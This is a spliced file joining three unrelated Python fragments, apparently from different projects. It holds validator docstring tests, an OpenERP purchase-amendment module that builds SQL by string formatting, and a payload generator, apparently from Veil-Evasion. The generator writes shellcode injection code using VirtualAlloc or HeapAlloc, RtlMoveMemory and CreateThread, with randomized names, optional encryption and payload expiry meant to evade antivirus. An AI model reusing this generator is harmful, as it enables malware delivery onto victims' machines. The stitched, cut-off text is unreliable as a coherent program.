      mixed_list('string', 'string', 'integer', 'integer')

    The length of the list must match the number of positional
    arguments you supply.

    >>> mix_str = "mixed_list('integer', 'float', 'ip_addr', 'string', 'boolean')"
    >>> check_res = vtor.check(mix_str, (1, 2.0, '1.2.3.4', 'a', True))
    >>> check_res == [1, 2.0, '1.2.3.4', 'a', True]
    1
    >>> check_res = vtor.check(mix_str, ('1', '2.0', '1.2.3.4', 'a', 'True'))
    >>> check_res == [1, 2.0, '1.2.3.4', 'a', True]
    1
    >>> vtor.check(mix_str, ('b', 2.0, '1.2.3.4', 'a', True))
    Traceback (most recent call last):
    VdtTypeError: the value "b" is of the wrong type.
    >>> vtor.check(mix_str, (1, 2.0, '1.2.3.4', 'a'))
    Traceback (most recent call last):
    VdtValueTooShortError: the value "(1, 2.0, '1.2.3.4', 'a')" is too short.
    >>> vtor.check(mix_str, (1, 2.0, '1.2.3.4', 'a', 1, 'b'))
    Traceback (most recent call last):
    VdtValueTooLongError: the value "(1, 2.0, '1.2.3.4', 'a', 1, 'b')" is too long.
    >>> vtor.check(mix_str, 0)
    Traceback (most recent call last):
    VdtTypeError: the value "0" is of the wrong type.

    This test requires an elaborate setup, because of a change in error string
    output from the interpreter between Python 2.2 and 2.3 .

    >>> res_seq = (
    ...     'passed an incorrect value "',
    ...     'yoda',
    ...     '" for parameter "mixed_list".',
    ... )
    >>> res_str = "'".join(res_seq)
    >>> try:
    ...     vtor.check('mixed_list("yoda")', ('a'))
    ... except VdtParamError, err:
    ...     str(err) == res_str
    1
    """
    try:
        length = len(value)
    except TypeError:
        raise VdtTypeError(value)
    if length < len(args):
        raise VdtValueTooShortError(value)
    elif length > len(args):
        raise VdtValueTooLongError(value)
    try:
        return [fun_dict[arg](val) for arg, val in zip(args, value)]
    except KeyError, e:
        raise VdtParamError('mixed_list', e)

def is_option(value, *options):
    """
    This check matches the value to any of a set of options.

    >>> vtor.check('option("yoda", "jedi")', 'yoda')
    'yoda'
    >>> vtor.check('option("yoda", "jedi")', 'jed')


from datetime import *
import time
from osv import fields, osv
from tools.translate import _
import netsvc
import decimal_precision as dp
from itertools import groupby
from datetime import datetime, timedelta,date
from dateutil.relativedelta import relativedelta
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import logging
import netsvc
logger = logging.getLogger('server')

class purchase_amendment(osv.osv):

	_name = "purchase.amendment"
	_order = "date desc"

	def _amount_line_tax(self, cr, uid, line, context=None):
		val = 0.0
		new_amt_to_per = line.discount_amend or 0.0 / line.product_qty_amend
		amt_to_per = (line.discount_amend or 0.0 / (line.product_qty_amend * line.price_unit_amend or 1.0 )) * 100
		discount_per = line.discount_per_amend
		tot_discount_per = amt_to_per + discount_per
		for c in self.pool.get('account.tax').compute_all(cr, uid, line.taxes_id_amend,
			line.price_unit_amend * (1-(tot_discount_per or 0.0)/100.0), line.product_qty_amend, line.product_id,
			line.amendment_id.partner_id)['taxes']:
			#print "ccccccccccccccccccccccccccccccc===========>>>", c
			val += c.get('amount', 0.0)
			#print "valvalvalvalvalvalvalvalvalvalvalvalvalval =============>>", val
		return val

	def _amount_all(self, cr, uid, ids, field_name, arg, context=None):
		res = {}
		cur_obj=self.pool.get('res.currency')
		for order in self.browse(cr, uid, ids, context=context):
			print "order=========================>>>>", order
			res[order.id] = {
				'amount_untaxed': 0.0,
				'amount_tax': 0.0,
				'amount_total': 0.0,
				'discount' : 0.0,
				'other_charge': 0.0,
			}
			val = val1 = val3 = 0.0
			cur = order.pricelist_id.currency_id
			for line in order.amendment_line:
				tot_discount = line.discount_amend + line.discount_per_value_amend
				val1 += line.price_subtotal
				val += self._amount_line_tax(cr, uid, line, context=context)
				val3 += tot_discount
			po_charges=order.value1_amend + order.value2_amend
			print "po_charges :::", po_charges , "val ::::", val, "val1::::", val1, "val3:::::", val3
			#res[order.id]['other_charge']=cur_obj.round(cr, uid, cur, po_charges)
			res[order.id]['amount_tax']=cur_obj.round(cr, uid, cur, val)
			res[order.id]['amount_untaxed']=cur_obj.round(cr, uid, cur, val1)
			res[order.id]['amount_total']=res[order.id]['amount_untaxed'] + res[order.id]['amount_tax'] + res[order.id]['other_charge']
			res[order.id]['discount']=cur_obj.round(cr, uid, cur, val3)
			self.write(cr, uid,order.id, {'other_charge' : po_charges})
		print "res ^^^^^^^^^^^^^,", "amount_total====", res[order.id]['amount_total'], "^^^^^^^^^^^^^^", res
		return res

	def _get_order(self, cr, uid, ids, context=None):
		result = {}
		for line in self.pool.get('purchase.amendment.line').browse(cr, uid, ids, context=context):
			print "line :::::::::::::::::::::::ids:::",ids, line
			result[line.amendment_id.id] = True
		return result.keys()

	_columns = {

		'name': fields.char('Amendment NO', size=128, readonly=True),
		'date':fields.date('Amendment Date',readonly=True),
		'po_id':fields.many2one('purchase.order','PO.NO', required=True,
			domain="[('state','=','approved') ,'&',('order_line.line_state','!=','cancel'),'&',('order_line.pending_qty','>','0')]",
			readonly=True,states={'draft':[('readonly',False)]}),
		'po_date':fields.date('PO Date', readonly=True),
		'partner_id':fields.many2one('res.partner', 'Supplier', readonly=True),
		'pricelist_id':fields.many2one('product.pricelist', 'Pricelist', required=True, states={'confirmed':[('readonly',True)], 'approved':[('readonly',True)]}),
		'currency_id': fields.related('pricelist_id', 'currency_id', type="many2one", relation="res.currency", string="Currency",readonly=True, required=True),
		'po_expenses_type1': fields.selection([('freight','Freight Charges'),('others','Others')], 'Expenses Type1',readonly=True),
		'po_expenses_type2': fields.selection([('freight','Freight Charges'),('others','Others')], 'Expenses Type2',readonly=True),
		'value1':fields.float('Value1', readonly=True),
		'value2':fields.float('Value2', readonly=True),
		'bill_type': fields.selection([('cash','Cash Bill'),('credit','Credit Bill')], 'Bill Type', readonly=True),
		'payment_mode': fields.selection([('ap','Advance Paid'),('on_receipt', 'On receipt of Goods and acceptance')],
			'Mode of Payment', readonly=True),
		'delivery_type':fields.many2one('deliverytype.master', 'Delivery Schedule', readonly=True),
		'delivery_mode': fields.selection([('direct','Direct'),('door','DOOR DELIVERY')], 'Mode of delivery', readonly=True),
		'note': fields.text('Remarks'),
		'active': fields.boolean('Active'),
		'amend_flag':fields.boolean('Amend Flag'),
		'state':fields.selection([('draft', 'Draft'),('amend', 'Processing'),('confirm', 'Confirmed'),('cancel','Cancel')], 'Status'),
		'amendment_line':fields.one2many('purchase.amendment.line', 'amendment_id', 'Amendment Line',
			states={'confirm':[('readonly', True)]}),

		'other_charge': fields.float('Other Charges(+)',readonly=True),
		'discount': fields.function(_amount_all, digits_compute= dp.get_precision('Account'), string='Total Discount(-)',
			store={
				'purchase.amendment': (lambda self, cr, uid, ids, c={}: ids, ['amendment_line'], 10),
				'purchase.amendment.line': (_get_order, ['price_unit_amend', 'tax_id', 'discount_amend', 'product_qty_amend'], 10),
			}, multi="sums", help="The amount without tax", track_visibility='always'),
		'amount_untaxed': fields.function(_amount_all, digits_compute= dp.get_precision('Account'), string='Untaxed Amount',
			store={
				'purchase.amendment': (lambda self, cr, uid, ids, c={}: ids, ['amendment_line'], 10),
				'purchase.amendment.line': (_get_order, ['price_unit_amend', 'tax_id', 'discount_amend', 'product_qty_amend'], 10),
			}, multi="sums", help="The amount without tax", track_visibility='always'),
		'amount_tax': fields.function(_amount_all, digits_compute= dp.get_precision('Account'), string='Taxes',
			store={
				'purchase.amendment': (lambda self, cr, uid, ids, c={}: ids, ['amendment_line'], 10),
				'purchase.amendment.line': (_get_order, ['price_unit_amend', 'tax_id', 'discount_amend', 'product_qty_amend'], 10),
			}, multi="sums", help="The tax amount"),
		'amount_total': fields.function(_amount_all, digits_compute= dp.get_precision('Account'), string='Total',
			store={
				'purchase.amendment': (lambda self, cr, uid, ids, c={}: ids, ['amendment_line'], 10),
				'purchase.amendment.line': (_get_order, ['price_unit_amend', 'tax_id', 'discount_amend', 'product_qty_amend'], 10),

			}, multi="sums",help="The total amount"),
		'grn_flag': fields.boolean('GRN'),

		# Amendment Fields:
		'partner_id_amend':fields.many2one('res.partner', 'Supplier'),
		'bill_type_amend': fields.selection([('cash','Cash Bill'),('credit','Credit Bill')], 'Amend Bill Type',
			states={'confirm':[('readonly', True)]}),
		'payment_mode_amend': fields.selection([('ap','Advance Paid'),('on_receipt', 'On receipt of Goods and acceptance')],
			'Amend Mode of Payment', states={'confirm':[('readonly', True)]}),
		'delivery_type_amend':fields.many2one('deliverytype.master', 'Amend Delivery Schedule',
					states={'confirm':[('readonly', True)]}),
		'delivery_mode_amend': fields.selection([('direct','Direct'),('door','DOOR DELIVERY')], 'Amend Mode of delivery',
			states={'confirm':[('readonly', True)]}),
		'po_expenses_type1_amend': fields.selection([('freight','Freight Charges'),('others','Others')], 'Amend Expenses Type1',
			states={'confirm':[('readonly', True)]}),
		'po_expenses_type2_amend': fields.selection([('freight','Freight Charges'),('others','Others')], 'Amend Expenses Type2',
			states={'confirm':[('readonly', True)]}),
		'value1_amend':fields.float('Amend Value1', states={'confirm':[('readonly', True)]}),
		'value2_amend':fields.float('Amend Value2', states={'confirm':[('readonly', True)]}),
		'remark': fields.text('Remarks', states={'confirm':[('readonly', True)]}),
		'terms': fields.text('Terms & Conditions', states={'confirm':[('readonly', True)]}),

	}

	_defaults = {

	'date': fields.date.context_today,
	'state': 'draft',
	'active' : True,
	'name' : '/',
	}

	def onchange_poid(self, cr, uid, ids,po_id, pricelist_id):
		print "onchange_poid called***************************", ids
		po_obj = self.pool.get('purchase.order')
		value = {'pricelist_id': ''}
		if po_id:
			po_record = po_obj.browse(cr,uid,po_id)
			price_id = po_record.pricelist_id.id
			print "price_id==========>>", price_id
			value = {'pricelist_id': price_id}
			return {'value':value}
		else:
			print "No Change"

	def unlink(self, cr, uid, ids, context=None):
		if context is None:
			context = {}
		amend = self.read(cr, uid, ids, ['state'], context=context)
		unlink_ids = []
		for t in amend:
			if t['state'] in ('draft'):
				unlink_ids.append(t['id'])
			else:
				raise osv.except_osv(_('Invalid action !'), _('System not allow to delete a UN-DRAFT state Purchase Amendment!!'))
		amend_lines_to_del = self.pool.get('purchase.amendment.line').search(cr, uid, [('amendment_id','in',unlink_ids)])
		self.pool.get('purchase.amendment.line').unlink(cr, uid, amend_lines_to_del)
		osv.osv.unlink(self, cr, uid, unlink_ids, context=context)
		return True

	def _prepare_amend_line(self, cr, uid, po_order, order_line, amend_id, context=None):
		print "po_order ::::::::>>>>>>>>>>>>>>>>>>>>", po_order, "===ID ====", po_order.id
		print "order_line ::::::::::::<<<<<<<<<<<<<<<", order_line

		return {

			'order_id':po_order.id,
			'product_id': order_line.product_id.id,
			'product_uom': order_line.product_uom.id,
			'product_qty': order_line.product_qty,
			'product_qty_amend' : order_line.product_qty,
			'pending_qty' : order_line.pending_qty,
			'pending_qty_amend' : order_line.pending_qty,
			'received_qty' : order_line.product_qty - order_line.pending_qty,
			'price_unit' : order_line.price_unit or 0.0,
			'price_unit_amend' : order_line.price_unit or 0.0,
			'discount' : order_line.discount,
			'discount_amend' : order_line.discount,
			'discount_per' : order_line.discount_per,
			'discount_per_amend' : order_line.discount_per,
			'discount_per_value' : order_line.discount_per_value,
			'discount_per_value_amend' : order_line.discount_per_value,
			'note' : order_line.name or '',
			'note_amend' : order_line.name or '',
			'amendment_id': amend_id,
			'po_line_id': order_line.id,
			'line_bill':order_line.line_bill,

		}

	def make_amend(self,cr,uid,ids,amendment_id=False,context={}):

		po_id = False
		obj = self.browse(cr,uid,ids[0])
		print "Amend Obj ::::::::::",obj
		po_obj=self.pool.get('purchase.order')
		amend_obj=self.pool.get('purchase.amendment')
		amend_po_id = amend_obj.browse(cr,uid,obj.po_id.id)
		print "amend_po_id:::::::::", amend_po_id
		po_order = obj.po_id
		print "po_order :::::::::", po_order
		total_amends=amend_obj.search(cr,uid,[('po_id','=',obj.po_id.id)])
		print "total_amends ===================>>>", total_amends
		if po_order.picking_ids:
			grn = True
		else:
			grn = False
		if len(total_amends) == 1:
			amend_no = po_order.name + '-01'
		else:
			amend_no = po_order.name + '-' + '%02d' % int(str(len(total_amends)))

		if obj.partner_id.id is False:

			self.pool.get('purchase.amendment').write(cr,uid,ids,
			{

			'amend_flag': True,
			'name' : amend_no,
			'po_date': po_order.date_order,
			'partner_id': po_order.dest_address_id.id or po_order.partner_id.id,
			'partner_id_amend': po_order.dest_address_id.id or po_order.partner_id.id,
			'pricelist_id': po_order.pricelist_id.id,
			'currency_id': po_order.currency_id.id,
			'bill_type': po_order.bill_type,
			'bill_type_amend' : po_order.bill_type,
			'payment_mode' : po_order.payment_mode,
			'payment_mode_amend' : po_order.payment_mode,
			'delivery_type' : po_order.delivery_type.id,
			'delivery_type_amend' : po_order.delivery_type.id,
			'delivery_mode' : po_order.delivery_mode,
			'delivery_mode_amend' : po_order.delivery_mode,
			'po_expenses_type1' : po_order.po_expenses_type1,
			'po_expenses_type1_amend' : po_order.po_expenses_type1,
			'po_expenses_type2' : po_order.po_expenses_type2,
			'po_expenses_type2_amend' : po_order.po_expenses_type2,
			'value1' : po_order.value1,
			'value1_amend' : po_order.value1,
			'value2' : po_order.value2,
			'value2_amend' : po_order.value2,
			'other_charge':po_order.other_charge,
			'grn_flag': grn,
			'remark':po_order.note,
			'terms':po_order.notes,
			'amendment_line' : [],

			#'amount_untaxed':po_order.amount_untaxed,
			#'amount_tax':po_order.amount_tax,
			#'amount_total':po_order.amount_total,
			#'discount':po_order.discount,

			})

			amend_id = obj.id
			todo_lines = []
			amend_line_obj = self.pool.get('purchase.amendment.line')
			wf_service = netsvc.LocalService("workflow")
			order_lines=po_order.order_line

			for order_line in order_lines:
				if order_line.line_state != 'cancel' and order_line.pending_qty > 0:
					amend_line = amend_line_obj.create(cr, uid, self._prepare_amend_line(cr, uid, po_order, order_line, amend_id,
									context=context))
					print "amend_line ==========================>>", amend_line
					cr.execute(""" select tax_id from purchase_order_taxe where ord_id = %s """  %(str(order_line.id)))
					data = cr.dictfetchall()
					val = [d['tax_id'] for d in data if 'tax_id' in d]
					print "val::::::::::::::::", val
					for i in range(len(val)):
						print "IIIIIIIIIIIIIIIIIIIII", val[i]
						cr.execute(""" INSERT INTO purchase_order_tax (amend_line_id,tax_id) VALUES(%s,%s) """ %(amend_line,val[i]))
						cr.execute(""" INSERT INTO amendment_order_tax (amend_line_id,tax_id) VALUES(%s,%s) """ %(amend_line,val[i]))
					todo_lines.append(amend_line_obj)
				else:
					print "NO Qty or Cancel"

			wf_service.trg_validate(uid, 'purchase.amendment', amend_id, 'button_confirm', cr)
			return [amend_id]
			cr.close()
		else:
			raise osv.except_osv(
				_('Amendment Created Already!'),
				_('System not allow to create Amendment again !!'))

	def confirm_amend(self,cr,uid,ids,context={}):

		amend_obj = self.browse(cr,uid,ids[0])
		po_obj = self.pool.get('purchase.order')
		product_obj = self.pool.get('product.product')
		po_line_obj = self.pool.get('purchase.order.line')
		amend_line_obj = self.pool.get('purchase.amendment.line')
		pi_line_obj = self.pool.get('purchase.requisition.line')
		stock_move_obj = self.pool.get('stock.move')
		po_id = False
		if amend_obj.amendment_line ==[]:
			raise osv.except_osv(
			_('Empty Purchase Amendment!'),
			_('System not allow to confirm a PO Amendment without Amendment Line !!'))
		#if amend_obj.po_id.bill_flag == True:
			#raise osv.except_osv(
			#_('System not allow for Amendment!'),
			#_('This Purchase Order has invoiced already..!!'))
		else:
			po_id = amend_obj.po_id.id
			po_record = po_obj.browse(cr,uid,po_id)
			po_obj.write(cr,uid,po_id,{'amend_flag': True})

			if amend_obj.partner_id.id != amend_obj.partner_id_amend.id:
				po_obj.write(cr,uid,po_id,{'partner_id': amend_obj.partner_id_amend.id})

			if amend_obj.bill_type != amend_obj.bill_type_amend:
				po_obj.write(cr,uid,po_id,{'bill_type': amend_obj.bill_type_amend})

			if amend_obj.payment_mode != amend_obj.payment_mode_amend:
				po_obj.write(cr,uid,po_id,{'payment_mode': amend_obj.payment_mode_amend})

			if amend_obj.delivery_type.id != amend_obj.delivery_type_amend.id:
				po_obj.write(cr,uid,po_id,{'delivery_type': amend_obj.delivery_type_amend.id})

			if amend_obj.delivery_mode != amend_obj.delivery_mode_amend:
				po_obj.write(cr,uid,po_id,{'delivery_mode': amend_obj.delivery_mode_amend})

			if amend_obj.po_expenses_type1 != amend_obj.po_expenses_type1_amend:
				po_obj.write(cr,uid,po_id,{'po_expenses_type1': amend_obj.po_expenses_type1_amend})

			if amend_obj.po_expenses_type2 != amend_obj.po_expenses_type2_amend:
				po_obj.write(cr,uid,po_id,{'po_expenses_type2': amend_obj.po_expenses_type2_amend})

			if amend_obj.value1 != amend_obj.value1_amend or amend_obj.value2 != amend_obj.value2_amend:
				tot_value = amend_obj.value1_amend + amend_obj.value2_amend
				po_obj.write(cr,uid,po_id,{
					'value1': amend_obj.value1_amend,
					'value2': amend_obj.value2_amend,
					'other_charge' : tot_value,
						})
			po_obj.write(cr,uid,po_id,{
					'notes':amend_obj.terms,
					'note':amend_obj.remark,
					})

		for amend_line in amend_obj.amendment_line:
			print "amend_line================>>", amend_line
			po_line_id = amend_line.po_line_id.id
			pol_record = amend_line.po_line_id
			diff_qty = amend_line.product_qty - amend_line.product_qty_amend
			print "diff_qty :::::::::::::::", diff_qty
			pending_diff_qty = amend_line.product_qty - amend_line.pending_qty
			print "pending_diff_qty :::::::::::", pending_diff_qty

			if amend_line.product_qty < amend_line.product_qty_amend:
				raise osv.except_osv(
				_('Amendment Qty Increase Error !'),
				_('You can not increase PO Qty'))

			if amend_line.line_state == 'cancel':
				if pol_record.pi_line_id:
					pi_line_record = pi_line_obj.browse(cr, uid,pol_record.pi_line_id.id)
					pi_product_qty = pi_line_record.product_qty
					pi_pending_qty = pi_line_record.pending_qty
					print "pi_line_record ======================>>", pi_line_record
					print "pi_pending_qty ===================>>", pi_pending_qty
					print "**************************************"
					pi_product_qty += pol_record.product_qty
					pi_pending_qty += pol_record.pending_qty
					print "pi_pending_qty ===================>>", pi_pending_qty
					pi_line_obj.write(cr,uid,pol_record.pi_line_id.id,{'pending_qty' : pi_pending_qty})
					po_line_obj.write(cr,uid,po_line_id,{'line_state': amend_line.line_state,
														 'cancel_qty' :amend_line.cancel_qty,
														 'received_qty':amend_line.received_qty,
														  })
				else:
					po_line_obj.write(cr,uid,po_line_id,{'line_state': amend_line.line_state,
														 'cancel_qty' :amend_line.cancel_qty,
														 'received_qty':amend_line.received_qty,
														 })

			if amend_line.product_qty != amend_line.pending_qty:
				if diff_qty > pending_diff_qty:
					raise osv.except_osv(
					_('Few Quantities are Received!'),
					_('System can allow to Decrease upto %s Qty for Product --> %s !!')%(pending_diff_qty,amend_line.product_id.name))

			if amend_line.product_qty != amend_line.product_qty_amend:
				if amend_line.pending_qty == 0:
					raise osv.except_osv(
					_('All Qty has received for this PO !'),
					_('You can not increase PO Qty for product %s')%(amend_line.product_id.name))

				disc_value = (amend_line.product_qty_amend * amend_line.price_unit_amend) * amend_line.discount_per_amend / 100
				print "discount_per_value :::::::::::::::", disc_value
				po_line_obj.write(cr,uid,po_line_id,{
						'product_qty': amend_line.product_qty_amend,
						'pending_qty': amend_line.pending_qty_amend,
						'discount_per_value' : disc_value,
							})

			if amend_line.price_unit != amend_line.price_unit_amend:
				po_line_obj.write(cr,uid,po_line_id,{
					'price_unit': amend_line.price_unit_amend})
				self.grn_price_update(cr,uid,ids,amend_line)

			if amend_line.discount != amend_line.discount_amend:
				po_line_obj.write(cr,uid,po_line_id,{'discount': amend_line.discount_amend})
				self.grn_price_update(cr,uid,ids,amend_line)

			if amend_line.discount_per != amend_line.discount_per_amend:
				po_line_obj.write(cr,uid,po_line_id,{'discount_per': amend_line.discount_per_amend})

			if amend_line.discount_per_value != amend_line.discount_per_value_amend:
				po_line_obj.write(cr,uid,po_line_id,{'discount_per_value': amend_line.discount_per_value_amend})

			if amend_line.note != amend_line.note_amend:
				po_line_obj.write(cr,uid,po_line_id,{'name': amend_line.note_amend})

			print "amend_line.id::::::::::", amend_line.taxes_id
			print "amend_line.id:::taxes_id_amend:::::::", amend_line.taxes_id_amend

			cr.execute(""" select tax_id from amendment_order_tax where amend_line_id = %s """ %(amend_line.id))
			data = cr.dictfetchall()
			val = [d['tax_id'] for d in data if 'tax_id' in d]
			print "val::::::::::::::::", val

			cr.execute(""" delete from purchase_order_taxe where ord_id=%s """ %(po_line_id))
			self.grn_price_update(cr,uid,ids,amend_line)
			for i in range(len(val)):
				print "IIIIIIIIIIIIIIIIIIIII", val[i]
				cr.execute(""" INSERT INTO purchase_order_taxe (ord_id,tax_id) VALUES(%s,%s) """ %(po_line_id,val[i]))

			else:
				print "NO PO Line Changs"
			amend_line.write({'line_state': 'done'})

		print "Tax Calculation Methods are Going to Call"

		#po_line_obj._amount_line(cr,uid,[po_id],prop=None,arg=None,context=None)
		po_obj._amount_line_tax(cr,uid,pol_record,context=None)
		po_obj._amount_all(cr,uid,[po_id],field_name=None,arg=False,context=None)
		self.write(cr,uid,ids,{'state' : 'confirm'})

		return True
		cr.close()

	def grn_price_update(self,cr,uid,ids,amend_line, context={}):
		amend = self.browse(cr, uid,ids[0])
		move_obj = self.pool.get('stock.move')
		lot_obj = self.pool.get('stock.production.lot')
		po_rec = amend.po_id
		if po_rec.picking_ids:
			for pick in po_rec.picking_ids:
				if pick.state != 'inv':
					pick_id = pick.id
					move_id = move_obj.search(cr, uid, [( 'picking_id','=',pick_id)])
					for move in move_id:
						move_rec = move_obj.browse(cr, uid,move)
						grn_price = amend_line.price_subtotal / amend_line.product_qty
						grn_price = round(grn_price, 2)

						grn_sql = """ update stock_move set price_unit=%s where move_type='in' and
									id=%s and product_id=%s and move_type='in' """ %(grn_price,move_rec.id,amend_line.product_id.id)
						cr.execute(grn_sql)

						if move_rec.product_uom.id == move_rec.stock_uom.id:
							new_price = amend_line.price_subtotal / amend_line.product_qty
							new_price = round(new_price, 2)
						else:
							coff = amend_line.product_id.po_uom_coeff
							print "coff ================>>>", coff
							new_price = amend_line.price_subtotal / amend_line.product_qty
							new_price = new_price / coff
							new_price = round(new_price, 2)

						print "new_price ------------------------->>>>>>>>> ------()(()))", new_price
						lot_ids = lot_obj.search(cr, uid, [('grn_move','=',move)])
						sql = """ select grn_id,lot_id from out_grn_lines where lot_id=%s """%(lot_ids[0])
						cr.execute(sql)
						lot_data = cr.dictfetchall()
						if lot_data:
							out_id = [d['grn_id'] for d in lot_data if 'grn_id' in d]
							for i in out_id:
								print "out_id +++++++++++++=================>>>>>", i
								out_rec = move_obj.browse(cr, uid,i)
								print "out_rec ()(())())()()()()()----------->>>",out_rec
								if out_rec.product_uom.id == amend_line.product_uom.id:
									issue_sql = """update stock_move set price_unit=%s where move_type='out' and id=%s
											 and product_id=%s """ %(grn_price,i,amend_line.product_id.id)
									cr.execute(issue_sql)
								else:
									issue_sql = """update stock_move set price_unit=%s where move_type='out' and id=%s
											 and product_id=%s """ %(new_price,i,amend_line.product_id.id)
									cr.execute(issue_sql)

								cons_sql = """update stock_move set price_unit=%s where move_type='cons' and src_id=%s
										 and product_id=%s """ %(new_price,i,amend_line.product_id.id)
								cr.execute(cons_sql)

						lot_sql = """update stock_production_lot set price_unit=%s where grn_move=%s and
									product_id=%s """ %(new_price,move_rec.id,amend_line.product_id.id)
						cr.execute(lot_sql)

				else:
					print "All GRN has invoiced.........."
			return True
			cr.close()

purchase_amendment()

class purchase_amendment_line(osv.osv):

	_name = "purchase.amendment.line"

	def _amount_line(self, cr, uid, ids, prop, arg, context=None):
		cur_obj=self.pool.get('res.currency')


"""

Inline shellcode injection.

Uses VirtualAlloc() to allocate space for shellcode, RtlMoveMemory() to
copy the shellcode in, then calls CreateThread() to invoke.

Inspiration from http://www.debasish.in/2012/04/execute-shellcode-using-python.html

 - or -

Very basic void pointer reference, similar to the c payload

module by @christruncer

"""

from datetime import date
from datetime import timedelta

from modules.common import shellcode
from modules.common import helpers
from modules.common import encryption

class Payload:

    def __init__(self):
        # required options
        self.description = "No obfuscation, basic injection of shellcode through virtualalloc or void pointer reference."
        self.language = "python"
        self.rating = "Normal"
        self.extension = "py"

        self.shellcode = shellcode.Shellcode()

        # options we require user interaction for- format is {OPTION : [Value, Description]]}
        self.required_options = {
                                    "COMPILE_TO_EXE" : ["Y", "Compile to an executable"],
                                    "USE_PYHERION"   : ["N", "Use the pyherion encrypter"],
                                    "INJECT_METHOD"  : ["Virtual", "Virtual, Void, or Heap"],
                                    "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days (\"X\" disables feature)"]
                                }

    def generate(self):
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                ShellcodeVariableName = helpers.randomString()
                RandPtr = helpers.randomString()
                RandBuf = helpers.randomString()
                RandHt = helpers.randomString()
                randctypes = helpers.randomString()

                # Create Payload code
                PayloadCode = ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n'
                PayloadCode += 'import ctypes as ' + randctypes + '\n'
                PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
                PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n'
                PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
                PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
                PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

                if self.required_options["USE_PYHERION"][0].lower() == "y":
                    PayloadCode = encryption.pyherion(PayloadCode)

                return PayloadCode
            else:

                # Get our current date and add number of days to the date
                todaysdate = date.today()
                expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                ShellcodeVariableName = helpers.randomString()
                RandPtr = helpers.randomString()
                RandBuf = helpers.randomString()
                RandHt = helpers.randomString()
                RandToday = helpers.randomString()
                RandExpire = helpers.randomString()
                randctypes = helpers.randomString()

                # Create Payload code
                PayloadCode = 'import ctypes as ' + randctypes + '\n'
                PayloadCode += 'from datetime import datetime\n'
                PayloadCode += 'from datetime import date\n\n'
                PayloadCode += RandToday + ' = datetime.now()\n'
                PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n'
                PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n'
                PayloadCode += '\t' + ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n'
                PayloadCode += '\t' + RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
                PayloadCode += '\t' + RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n'
                PayloadCode += '\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
                PayloadCode += '\t' + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
                PayloadCode += '\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

                if self.required_options["USE_PYHERION"][0].lower() == "y":
                    PayloadCode = encryption.pyherion(PayloadCode)

                return PayloadCode

        if self.required_options["INJECT_METHOD"][0].lower() == "heap":
            if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                ShellcodeVariableName = helpers.randomString()
                RandPtr = helpers.randomString()
                RandBuf = helpers.randomString()
                RandHt = helpers.randomString()
                HeapVar = helpers.randomString()
                randctypes = helpers.randomString()

                # Create Payload code
                PayloadCode = 'import ctypes as ' + randctypes + '\n'
                PayloadCode += ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n'
                PayloadCode += HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
                PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
                PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n'
